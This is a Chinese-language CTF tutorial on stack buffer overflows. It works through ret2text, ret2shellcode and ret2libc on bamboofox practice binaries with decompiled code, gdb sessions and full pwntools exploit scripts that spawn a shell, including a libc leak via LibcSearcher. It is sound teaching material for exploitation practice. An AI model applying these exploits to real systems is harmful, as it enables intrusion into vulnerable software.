9.pwn 栈溢出

news2024/9/17 7:11:10

栈溢出简介

函数中的存储在栈中的局部变量数组边界检查不严格发生越界写,造成用户输入覆盖到缓冲区外的数据内容,
由于栈中同时存在着与函数调用参数的相关信息,栈溢出可以导致控制流劫持

基础栈溢出(hello world in pwn)

多数情况下我们需要让程序执行这一段代码般来说,在CTF中的PWN,
system("/bin/sh"");
也就是说在远程机器上开一个命令行终端
这样我们就可以通过命令行来控制目标机器
通常来说,CTF比赛中只需要开启命令行后读flag(cat flag)

ret2text(理想情况)

Return to text,控制程序的返回地址到原本程序中的函数(代码)。

例如程序中有类似function:

  • system(‘/bin/sh’)
  • execve(‘/bin/sh’,NULL,NULL)

就可以跳转到这个function,function的地址可以通过objdump或者ida来查找。

 理想情况下,程序中有一段代码能直接满足我们的需求,

我们只需要将执行流劫持到这一段代码即可

例子

main函数调用b,b函数调用a。
缓冲区溢出发生在a函数中。
buf的长度为80,但是却读入了200长度。

 分析程序运行至a时的栈帧
栈中存放buf和返回地址等等信息。
buf的长度为80,紧邻b函数的rbp指针和返回地址,

栈地址从高地址向低地址生长。
我们读入一段数据是从低地址向高地址读入。 

这里我们读入'X’*80 +'A’*8 +'B’*8
可以看到,原本存储b函数的rbp地址内容已经被覆盖成了'AAAAAAAA‘
返回地址已经被覆盖为了'BBBBBBBB’

这时候,如果程序返回,程序会返回一个异常错误。
因为'BBBBBBBB’这个字符串,翻译到16进制:0x4242424242424242,这个地址在内存中不是一个合法的代码地址。

我们变换一下思路,这次我们输入的数据是:X’*80 +'A’*8 + target addr
target addrs是我们想要让程序跳转到的地方,
这时候,程序的执行流就被我们控制了

 

rbp
那么RBP我们就不管了吗?
是的,一般情况下,RBP的值我们不需要构造。
RBP是程序用来定位栈中的局部变量地址的。
除非涉及到RBP寄存器传递参数,一般的ROP不要管RBP.
具体情况具体分析。

总结
栈溢出的原理就是栈中存储的局部变量数组发生溢出,覆盖了栈中的其他数据将返回地址覆盖为我们期望的目标地址,即可劫持控制流

例题

ret2text
原理 

ret2text 即控制程序执行程序本身已有的的代码 (即, .text 段中的代码) 。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。

这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

例子 

其实,在栈溢出的基本原理中,我们已经介绍了这一简单的攻击。在这里,我们再给出另外一个例子,bamboofox 中介绍 ROP 时使用的 ret2text 的例子。

点击下载: ret2text

首先,查看一下程序的保护机制:

➜  ret2text checksec ret2text
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看出程序是 32 位程序,且仅开启了栈不可执行保护。接下来我们使用 IDA 反编译该程序:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets((char *)&v4);
  printf("Maybe I will tell you next time !");
  return 0;
}

可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。接下来查看反汇编代码:

.text:080485FD secure          proc near
.text:080485FD
.text:080485FD input           = dword ptr -10h
.text:080485FD secretcode      = dword ptr -0Ch
.text:080485FD
.text:080485FD                 push    ebp
.text:080485FE                 mov     ebp, esp
.text:08048600                 sub     esp, 28h
.text:08048603                 mov     dword ptr [esp], 0 ; timer
.text:0804860A                 call    _time
.text:0804860F                 mov     [esp], eax      ; seed
.text:08048612                 call    _srand
.text:08048617                 call    _rand
.text:0804861C                 mov     [ebp+secretcode], eax
.text:0804861F                 lea     eax, [ebp+input]
.text:08048622                 mov     [esp+4], eax
.text:08048626                 mov     dword ptr [esp], offset unk_8048760
.text:0804862D                 call    ___isoc99_scanf
.text:08048632                 mov     eax, [ebp+input]
.text:08048635                 cmp     eax, [ebp+secretcode]
.text:08048638                 jnz     short locret_8048646
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system

在 secure 函数又发现了存在调用 system("/bin/sh") 的代码,那么如果我们直接控制程序返回至 0x0804863A ,那么就可以得到系统的 shell 了。

下面就是我们如何构造 payload 了,首先需要确定的是我们能够控制的内存的起始地址距离 main 函数的返回地址的字节数。

.text:080486A7                 lea     eax, [esp+1Ch]
.text:080486AB                 mov     [esp], eax      ; s
.text:080486AE                 call    _gets

可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call 处,查看 esp,ebp,如下:

gef➤  b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤  r
There is something amazing here, do you know anything?

Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24      gets(buf);
───────────────────────────────────────────────────────────────────────[ registers ]────
$eax   : 0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebx   : 0x00000000
$ecx   : 0xffffffff
$edx   : 0xf7faf870  →  0x00000000
$esp   : 0xffffcd40  →  0xffffcd5c  →  0x08048329  →  "__libc_start_main"
$ebp   : 0xffffcdc8  →  0x00000000
$esi   : 0xf7fae000  →  0x001b1db0
$edi   : 0xf7fae000  →  0x001b1db0
$eip   : 0x080486ae  →  <main+102> call 0x8048460 <gets@plt>

调用 gets 函数时,buf 的地址被传递给 gets,也就是说 buf 的地址是 0xffffcd5c

计算 buf 与 esp 的偏移

buf 的地址是 0xffffcd5cesp 是 0xffffcd40。要计算 buf 相对于 esp 的偏移量,我们进行如下计算:

buf 地址 = 0xffffcd5c
esp 地址 = 0xffffcd40
偏移量 = buf 地址 - esp 地址 = 0xffffcd5c - 0xffffcd40 = 0x1c

所以 buf 相对于 esp 的偏移量是 0x1c

计算 buf 与 ebp 的偏移

类似地,buf 的地址是 0xffffcd5cebp 是 0xffffcdc8。计算偏移量如下:

buf 地址 = 0xffffcd5c
ebp 地址 = 0xffffcdc8
偏移量 = buf 地址 - ebp 地址 = 0xffffcd5c - 0xffffcdc8 = -0x6c

这里的偏移量是 -0x6c,也就是说 buf 相对于 ebp 的偏移是 -0x6c

计算 buf 与返回地址的偏移

在栈帧中,返回地址位于 ebp 的上方(更低地址)。通常情况下,返回地址位于 ebp + 4 的位置。因此 buf 相对于返回地址的偏移量可以通过以下计算得出:

buf 相对于返回地址的偏移 = -0x6c + 4 = -0x68

综上所述:

  • buf 相对于 esp 的偏移量是 0x1c
  • buf 相对于 ebp 的偏移量是 -0x6c
  • buf 相对于返回地址的偏移量是 -0x68

可以看到 esp 为 0xffffcd40,ebp 为 0xffffcdc8,同时 s 相对于 esp 的索引为 esp+0x1c,因此,我们可以推断:

  • s 的地址为 0xffffcd5c
  • s 相对于 ebp 的偏移为 0x6c
  • s 相对于返回地址的偏移为 0x6c+4

因此最后的 payload 如下:

##!/usr/bin/env python
from pwn import *

sh = process('./ret2text')
target = 0x804863a
sh.sendline(b'A' * (0x6c + 4) + p32(target))
sh.interactive()

ret2shellcode(正常情况)

如果程序中没有这样一段代码,怎么办?
我们可以自己写shellcode!
shellcode就是一段可以独立运行开启shell的一段汇编代码

ret2shellcode的思路就是

(1)构造shellcode通过溢出放到程序某片存储空间上——为了能够执行这段代码,所存储的区域需要有可执行的权限

(2)将返回地址劫持到构造的shellcode地址使得程序开始执行恶意代码 

如果程序中存在让用户向一段长度足够的缓冲区中输入数据
我们向其中输入shellcode。
将程序劫持到shellcode上即可
当然,这种也是理想情况。 

就是计算buf和原始返回地址之间的偏移量然后填充shellcode直到能把返回地址覆盖成我想控制的地址buf,然后buf又返回缓冲区执行shellcode

  1. 确定偏移量: 首先,攻击者需要确定从缓冲区开始到保存在栈上的返回地址(EIP或类似的寄存器)的偏移量。这通常通过分析程序的内存布局来完成,可能涉及到使用调试器或逆向工程工具。

  2. 构造Payload: 知道了偏移量后,攻击者构造一个payload,它由以下几部分组成:

    • 填充(Padding): 这部分数据用于确保payload覆盖到返回地址的位置。填充通常是用某个特定字符(如'A')重复多次,直到达到偏移量的长度。
    • Shellcode: 这是攻击者希望执行的恶意代码。在某些情况下,如果缓冲区足够大,shellcode可以直接放在payload中。
    • NOP Sled: 一个NOP滑动区(NOP是No Operation指令)可能被添加在shellcode之前,以确保如果溢出稍微超出了预期,控制流仍然可以安全地滑到shellcode的开始处。
  3. 覆盖返回地址: 当payload被发送到程序时,如果存在缓冲区溢出漏洞,填充部分将覆盖原始的返回地址,将其改变为攻击者控制的地址。这个地址通常是攻击者控制的内存区域的地址,比如shellcode所在的位置。

  4. 执行Shellcode: 一旦函数返回,CPU会尝试跳转到新的返回地址(现在被覆盖为攻击者控制的地址)。如果这个地址指向shellcode,那么shellcode将被执行。

  • Saved EIP 表示函数调用时保存的返回地址,它以小端序存储,所以低位字节在低地址处。
  • 参数 Arg1 和 Arg2 也以小端序存储,它们的低位字节在低地址处,高位字节在高地址处。
  • 缓冲区 Buffer 从栈底方向开始存储,如果发生溢出,攻击者的数据会覆盖缓冲区的字节,然后向上覆盖参数和返回地址。

 例子1

首先看C代码:

#include <stdio.h>
#include <string.h>
char buf2[100];
int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);
    char buf[100];
    printf("No system for you this time !!!\n");
    gets(buf);
    strncpy(buf2, buf, 100);
    printf("bye bye ~");
    return 0;
}

v4为gets函数接收数据长度范围,依据ret2text的方法可以得到字符串起始位置距离ret跳转0x6c+4个字节,接下来使用strncpy函数将按输入的内容复制到buf2变量当中。和ret2text不同的是ret2shellcode程序中并没有直接可以调用的"/bin/sh"可以用,没有也没关系,由于NX保护没有开启,我们可以自己构造shellcode放在栈中。接下来需要找存放shellcode的位置,由于输入的字符串存储在buf2变量当中,所以可以从buf2变量下手

这里我们以 bamboofox 中的 ret2shellcode 为例,需要注意的是,你应当在内核版本较老的环境中进行实验(如 Ubuntu 18.04 或更老版本)。由于容器环境间共享同一内核,因此这里我们无法通过 docker 完成环境搭建。

点击下载: ret2shellcode

首先检测程序开启的保护:

➜  ret2shellcode checksec ret2shellcode
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

可以看出源程序几乎没有开启任何保护,并且有可读,可写,可执行段。接下来我们再使用 IDA 对程序进行反编译:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets((char *)&v4);
  strncpy(buf2, (const char *)&v4, 0x64u);
  printf("bye bye ~");
  return 0;
}

可以看出,程序仍然是基本的栈溢出漏洞,不过这次还同时将对应的字符串复制到 buf2 处。简单查看可知 buf2 在 bss 段。

.bss:0804A080                 public buf2
.bss:0804A080 ; char buf2[100]

通过IDA可以找到buf2变量存放在bss段(0x0804A080),因为一会自己构造的shellcode需要存放在buf2变量中,而buf2变量存放在程序的bss段,所以需要通过gdb查看一下该程序是否在bss段具有执行权限,如果没有执行权限,连带着buf2变量中的shellcode就不可执行

gef➤  b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef➤  r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode 

Breakpoint 1, main () at ret2shellcode.c:8
8       setvbuf(stdout, 0LL, 2, 0LL);
─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
      6  int main(void)
      7  {
 →    8      setvbuf(stdout, 0LL, 2, 0LL);
      9      setvbuf(stdin, 0LL, 1, 0LL);
     10  
─────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048536 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  vmmap 
Start      End        Offset     Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 --- /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx 
0xf7fd3000 0xf7fd5000 0x00000000 rwx 
0xf7fd5000 0xf7fd7000 0x00000000 r-- [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx 
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

通过 vmmap,我们可以看到 bss 段对应的段具有可执行权限:

0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

那么这次我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。其中,相应的偏移计算类似于 ret2text 中的例子。

最后的 payload 如下:

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()

112字节的由来:padding(填充) = (ebp - (esp+1c)) + 4 

shellcode.ljust(112, b'A') 是 Python 中的一个字符串操作,它执行的步骤如下:

例如,如果buf2_addr 是攻击者控制的内存地址,攻击者希望程序跳转到这个地址执行shellcode,那么p32(buf2_addr) 将这个地址转换成4个字节的字节串,然后将这个字节串附加到溢出数据的末尾。这样,当程序执行到这个溢出的数据时,它的返回地址将被覆盖,导致程序跳转到攻击者指定的地址执行shellcode。

  1. shellcode: 这是一个字节串(bytes),通常包含了要执行的恶意代码。在缓冲区溢出攻击中,攻击者会利用这个字节串来覆盖程序的控制流。

  2. ljust(112, b'A'): 这是一个字符串方法调用,它的作用是将 shellcode 左对齐到一个指定的宽度,这里是 112 字节。如果 shellcode 的长度小于 112 字节,那么它将被填充到这个宽度。填充使用的字符是第二个参数 b'A',这是一个字节,其 ASCII 码值为 65,即大写字母 'A'。

  3. 填充过程: 如果 shellcode 的长度小于 112 字节,ljust 方法会在 shellcode 的右侧填充 'A' 字符,直到整个字符串的长度达到 112 字节。如果 shellcode 的长度已经等于或超过 112 字节,ljust 方法将不会做任何填充。

  4. 在缓冲区溢出攻击中,p32(buf2_addr) 这个函数的用途是将一个32位的地址(buf2_addr)转换成其32位的字节串表示形式。这通常用于覆盖程序的返回地址,使得程序执行流被重定向到攻击者控制的内存区域。

    具体来说,p32 函数的作用如下:

  5. 地址转换: 将一个32位的整数地址(buf2_addr)转换成其字节串形式。在32位系统中,一个地址是4个字节长。

  6. 字节顺序: 转换过程中,p32 函数会根据目标系统的字节顺序(大端或小端)来排列这四个字节。这对于确保攻击的有效性至关重要,因为不同的系统可能有不同的字节顺序。

  7. 覆盖返回地址: 在缓冲区溢出攻击中,攻击者通过溢出缓冲区来覆盖函数的返回地址。p32(buf2_addr) 转换得到的字节串被放置在溢出数据的末尾,以确保当函数返回时,程序计数器(Program Counter, PC)被设置为这个新的地址。

  8. 执行控制: 当程序执行到这个被覆盖的返回地址时,它会跳转到攻击者指定的内存地址(buf2_addr)处执行。如果这个地址处存放的是攻击者的shellcode,那么程序将执行这段shellcode,从而允许攻击者获得对目标系统的控制。

ret2libc

这是一种在存在栈溢出漏洞的程序中利用动态链接库(如 libc)中的函数来执行任意代码的方法

基本思路

ret2libc是控制函数执行libc中的函数,通常是返回至某个函数的plt处。一般情况下,会选择执行system('/bin/sh'),因此需要找到system函数的地址

看到这里相信有的师傅就会问了,为什么不能直接跳到got表,通过前面的前置知识我们知道plt表中的地址对应的是指令,got表中的地址对应的是指令地址,而返回地址必须保存一段有效的汇编指令,所以必须要用plt表

ret2libc通常可以分为下面几种类型:

  • • 程序中自身包含system函数和"/bin/sh"字符串
  • • 程序中自身就有system函数,但是没有"/bin/sh"字符串
  • • 程序中自身没有syetem函数和"/bin/sh"字符串,但给出了libc.so文件
  • • 程序中自身没有sysetm函数和"/bin/sh"字符串,并且没有给出libc.so文件

针对前面那三种在前面的文章中已经进行过详细讲解,本文主要是针对第四种情况进行讲解

对于没有给出libc.so文件的程序,我们可以通过泄漏出程序当中的某个函数的地址,通过查询来找出其中使用lib.so版本是哪一个,然后根据lib.so的版本去找到我们需要的system函数的地址。

针对常见的题目我们的解题思路是这样的:

  1. 1. 利用栈溢出及puts函数泄漏出在got表中__libc_start_main函数的地址
  2. 2. puts函数的返回地址为_start函数
  3. 3. 利用最低的12位找出libc版本(即使程序有ASLR保护,也只是针对地址中间位进行随机,最低的12位并不会发生改变)
  4. 4. 利用找到的libc版本计算system函数和/bin/sh字符串在内存中的正确的地址

 

例子 

我们由简单到难分别给出三个例子。

例 1

这里我们以 bamboofox 中 ret2libc1 为例。

点击下载: ret2libc1

首先,我们检查一下程序的安全保护:

➜  ret2libc1 checksec ret2libc1    
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

源程序为 32 位,开启了 NX 保护。下面对程序进行反编译以确定漏洞位置:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("RET2LIBC >_<");
  gets((char *)&v4);
  return 0;
}

可以看到在执行 gets 函数的时候出现了栈溢出。此外,利用 ropgadget,我们可以查看是否有 /bin/sh 存在:

➜  ret2libc1 ROPgadget --binary ret2libc1 --string '/bin/sh'          
Strings information
============================================================
0x08048720 : /bin/sh

确实存在,再次查找一下是否有 system 函数存在。经在 ida 中查找,确实也存在。

.plt:08048460 ; [00000006 BYTES: COLLAPSED FUNCTION _system. PRESS CTRL-NUMPAD+ TO EXPAND]

那么,我们直接返回该处,即执行 system 函数。相应的 payload 如下:

#!/usr/bin/env python
from pwn import *

sh = process('./ret2libc1')

binsh_addr = 0x8048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binsh_addr])
sh.sendline(payload)

sh.interactive()

这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以 'bbbb' 作为虚假的地址,其后参数对应的参数内容。

这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。

例 2

这里以 bamboofox 中的 ret2libc2 为例 。

点击下载: ret2libc2

该题目与例 1 基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")。由于漏洞与上述一致,这里就不在多说,具体的 exp 如下:

##!/usr/bin/env python
from pwn import *

sh = process('./ret2libc2')

gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
    [b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline(b'/bin/sh')
sh.interactive()

需要注意的是,我这里向程序中 bss 段的 buf2 处写入 /bin/sh 字符串,并将其地址作为 system 的参数传入。这样以便于可以获得 shell。

例 3

这里以 bamboofox 中的 ret2libc3 为例 。

点击下载: ret2libc3

在例 2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护

➜  ret2libc3 checksec ret2libc3
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [sp+1Ch] [bp-64h]@1

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No surprise anymore, system disappeard QQ.");
  printf("Can you find it !?");
  gets((char *)&v4);
  return 0;
}

那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点:

  • system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
  • 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
  • GitHub - niklasb/libc-database: Build a database of libc offsets to simplify exploitation

所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。

那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。

我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme:

  • https://github.com/lieanu/LibcSearcher

此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。

这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下

  • 泄露 __libc_start_main 地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)

exp 如下:

#!/usr/bin/env python
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')

ret2libc3 = ELF('./ret2libc3')

puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']

print("leak libc_start_main_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got])
sh.sendlineafter(b'Can you find it !?', payload)

print("get the related addr")
libc_start_main_addr = u32(sh.recv()[0:4])
libc = LibcSearcher('__libc_start_main', libc_start_main_addr)
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')
system_addr = libcbase + libc.dump('system')
binsh_addr = libcbase + libc.dump('str_bin_sh')

print("get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)

sh.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1912030.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【 正己化人】 把自己做好,能解决所有问题

阳明先生说&#xff1a;与朋友一起辩论学问&#xff0c;纵然有人言辞观点浅近粗疏&#xff0c;或者是炫耀才华、显扬自己&#xff0c;也都不过是毛病发作。只要去对症下药就好&#xff0c;千万不能怀有轻视别人的心理&#xff0c;因为那不是君子与人为善的心。 人会爱发脾气、…

UE5.3-基础蓝图类整理一

常用蓝图类整理&#xff1a; 1、获取当前关卡名&#xff1a;Get Current LevelName 2、通过关卡名打开关卡&#xff1a;Open Level(by name) 3、碰撞检测事件&#xff1a;Event ActorBeginOverlap 4、获取当前player&#xff1a;Get Player Pawn 5、判断是否相等&#xff1…

阿里云人工智能平台PAI部署开源大模型chatglm3之失败记录--update:最后成功了!

想学习怎么部署大模型&#xff0c;跟着网上的帖子部署了一个星期&#xff0c;然而没有成功。失败的经历也是经历&#xff0c;记在这里。 我一共创建了3个实例来部署chatglm3&#xff0c;每个实例都是基于V100创建的&#xff08;当时没有A10可选了&#xff09;&#xff0c;其显…

自动化测试之unittest框架详解

1、什么是Unittest框架&#xff1f; python自带一种单元测试框架 2、为什么使用UnitTest框架&#xff1f; >批量执行用例 >提供丰富的断言知识 >可以生成报告 3、核心要素 1).TestCase&#xff08;测试用例&#xff09; 2).TestSuite(测试套件) 3).Test…

比赛获奖的武林秘籍:05 电子计算机类比赛国奖队伍技术如何分工和学习内容

比赛获奖的武林秘籍&#xff1a;05 电子计算机类比赛国奖队伍技术如何分工和学习内容 摘要 本文主要介绍了在电子计算机类比赛中技术层面上的团队分工和需要学习的内容&#xff0c;分为了嵌入式硬件、嵌入式软件、视觉图像处理、机械、上位机软件开发和数据分析等六个方向&am…

ORA-12537: TNS:连接关闭/Io 异常: Got minus one from a read call

在另外一个数据库建立dblink的时候&#xff0c;发现执行命令报错&#xff1a; 被连接的数据库我也上去过&#xff0c;用工具尝试登陆也报错&#xff1a; IO Error: Got minus one from a read call, connect lapse 1 ms., Authentication lapse 0 ms. Got minus one from a …

PTA - 编写函数计算圆面积

题目描述&#xff1a; 1.要求编写函数getCircleArea(r)计算给定半径r的圆面积&#xff0c;函数返回圆的面积。 2.要求编写函数get_rList(n) 输入n个值放入列表并将列表返回 函数接口定义&#xff1a; getCircleArea(r); get_rList(n); 传入的参数r表示圆的半径&#xff0c…

新闻资讯整合平台:一站式满足企业信息需求

摘要&#xff1a; 面对信息爆炸的时代&#xff0c;企业如何在海量数据中快速获取有价值资讯&#xff0c;成为提升竞争力的关键。本文将探讨如何通过一站式新闻资讯整合平台&#xff0c;实现企业信息需求的全面满足&#xff0c;提升决策效率&#xff0c;同时介绍实用工具推荐&a…

如何构建数据驱动的企业?爬虫管理平台是关键桥梁吗?

一、数据驱动时代&#xff1a;为何选择爬虫管理平台&#xff1f; 在信息爆炸的今天&#xff0c;数据驱动已成为企业发展的核心战略之一。爬虫管理平台&#xff0c;作为数据采集的第一站&#xff0c;它的重要性不言而喻。这类平台通过自动化手段&#xff0c;从互联网的各个角落…

AI Earth——1990-2022年全国月度气象数据检索应用app

应用结果 代码 #导入安装包 import os import json import datetime import streamlit as st import streamlit.components.v1 as components import traceback from PIL import Imageimport aie#读取当前目录的内容 current_work_dir = os.path.dirname(__file__) #添加地图…

PolarisMesh源码系列——服务端启动流程

前话 PolarisMesh&#xff08;北极星&#xff09;是腾讯开源的服务治理平台&#xff0c;致力于解决分布式和微服务架构中的服务管理、流量管理、配置管理、故障容错和可观测性问题&#xff0c;针对不同的技术栈和环境提供服务治理的标准方案和最佳实践。 PolarisMesh 官网&am…

开发个人Go-ChatGPT–6 OpenUI

开发个人Go-ChatGPT–6 OpenUI Open-webui Open WebUI 是一种可扩展、功能丰富且用户友好的自托管 WebUI&#xff0c;旨在完全离线运行。它支持各种 LLM 运行器&#xff0c;包括 Ollama 和 OpenAI 兼容的 API。 功能 由于总所周知的原由&#xff0c;OpenAI 的接口需要密钥才…

网络安全——防御实验

防御实验一 拓扑结构展示&#xff1a; 一、 根据题目&#xff0c;先为办公区做安全策略主要策略有以下几点&#xff1a; 1、书写名称和描述&#xff0c;名称和描述要明确&#xff0c;让除本人以外的人也能理解 2、确定源地址为办公区&#xff0c;目标地址为DMZ区 3、确定时间…

QT程序异常结束解决方法

在用QT开发第三方SDK的时候&#xff0c;刚开始是运行正常的&#xff0c;但是重装系统之后再次运行程序总是出现&#xff1a;程序异常结束。 以下方法尝试无效&#xff0c;但不失为一种排查方法&#xff1a; 重新安装QT&#xff1b;检查Qt Creator配置&#xff0c;编译器位数和…

java LogUtil输出日志打日志的class文件内具体方法和行号

最近琢磨怎么把日志打的更清晰&#xff0c;方便查找问题&#xff0c;又不需要在每个class内都创建Logger对象&#xff0c;还带上不同的颜色做区分&#xff0c;简直不要太爽。利用堆栈的方向顺序拿到日志的class问题。看效果&#xff0c;直接上代码。 1、demo test 2、输出效果…

什么是O2O?线上线下怎么完美结合?

现如今互联网技术飞速发展&#xff0c;智能手机普及。O2O&#xff08;Online To Offline&#xff09;模式已经成为一种新的商业模式&#xff0c;人们的生活和消费习惯也逐渐被改变。经常听到企业提到“O2O”&#xff0c;它究竟是什么呢&#xff1f;对企业有着什么魅力呢&#x…

随笔(一)

1.即时通信软件原理&#xff08;发展&#xff09; 即时通信软件实现原理_即时通讯原理-CSDN博客 笔记&#xff1a; 2.泛洪算法&#xff1a; 算法介绍 | 泛洪算法&#xff08;Flood fill Algorithm&#xff09;-CSDN博客 漫水填充算法实现最常见有四邻域像素填充法&#xf…

idea创建dynamic web project

由于网课老师用的是eclipse,所以又得自己找教程了…… 解决方案&#xff1a; https://blog.csdn.net/Awt_FuDongLai/article/details/115523552

【状态估计】非线性非高斯系统的状态估计——离散时间的批量估计

上一篇文章介绍了离散时间的递归估计&#xff0c;本文着重介绍离散时间的批量估计。 上一篇位置&#xff1a;【状态估计】非线性非高斯系统的状态估计——离散时间的递归估计。 离散时间的批量估计问题 最大后验估计 目标函数 利用高斯-牛顿法来解决估计问题的非线性版本&a…

绝区伍--2024年AI发展路线图

2024 年将是人工智能具有里程碑意义的一年。随着新模式、融资轮次和进步以惊人的速度出现&#xff0c;很难跟上人工智能世界发生的一切。让我们深入了解 2024 年可能定义人工智能的关键事件、产品发布、研究突破和趋势。 2024 年第一季度 2024 年第一季度将推出一些主要车型并…